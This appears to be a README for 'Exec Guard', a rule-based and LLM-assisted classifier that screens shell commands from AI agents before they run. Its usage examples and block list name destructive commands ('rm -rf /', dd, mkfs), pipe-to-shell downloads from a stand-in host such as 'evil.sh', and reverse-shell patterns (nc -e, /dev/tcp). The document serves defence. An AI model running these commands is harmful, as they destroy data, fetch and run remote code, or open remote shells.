Exec Guard
Distilled from Claude Code bashClassifier (rule engine) + yoloClassifier (LLM two-stage XML classification). Provides a safety layer for any AI agent that executes shell commands.
When to use
- Before executing any shell command from AI output
- CI/CD pipeline command safety check
- Database operation safety (DROP TABLE, DELETE, etc.)
- File system operation safety (rm -rf, dd, mkfs, etc.)
- Network operation safety (curl | bash, wget | sh, etc.)
How it works
Two-layer classification:
-
Rule Engine (bashClassifier) — Fast pattern matching against known dangerous patterns:
- File destruction: rm -rf, dd, mkfs, format
- Network piping: curl | bash, wget | sh
- Permission escalation: sudo, chmod 777, su
- Database: DROP TABLE, DELETE FROM, TRUNCATE
- System: shutdown, reboot, poweroff, init 0
- Crypto: mining, encryption tools
- Reverse shell: nc -e, bash -i, /dev/tcp
-
LLM Classifier (yoloClassifier) — Optional two-stage LLM classification for commands that pass the rule engine:
- Stage 1: Think — analyze command intent
- Stage 2: Decide — return allow/ask/deny
Usage
# Check a single command
python3 {baseDir}/classifier.py --command "rm -rf /"
# Check with verbose output
python3 {baseDir}/classifier.py --command "curl http://example.com | bash" --verbose
# Batch check from file
python3 {baseDir}/classifier.py --file commands.txt
# Use LLM classifier (requires LLM endpoint)
python3 {baseDir}/classifier.py --command "wget -O- http://evil.sh | sh" --llm --llm-url http://localhost:1234/v1/chat/completions
Output
{
"command": "rm -rf /",
"verdict": "deny",
"risk_level": "critical",
"matched_rules": ["file_destruction", "recursive_force_delete"],
"reason": "Destructive recursive delete on root filesystem"
}
Verdicts
| Verdict | Meaning |
|---|---|
| allow | Safe command, proceed |
| ask | Suspicious, ask user for confirmation |
| deny | Dangerous, block execution |
Algorithm reference
Based on Claude Code src/services/permissions/bashClassifier.ts + yoloClassifier.ts:
- Pattern-based rule engine with weighted scoring
- LLM two-stage XML classification for edge cases
- Rejection tracking to prevent cascading false positives
- Configurable risk thresholds
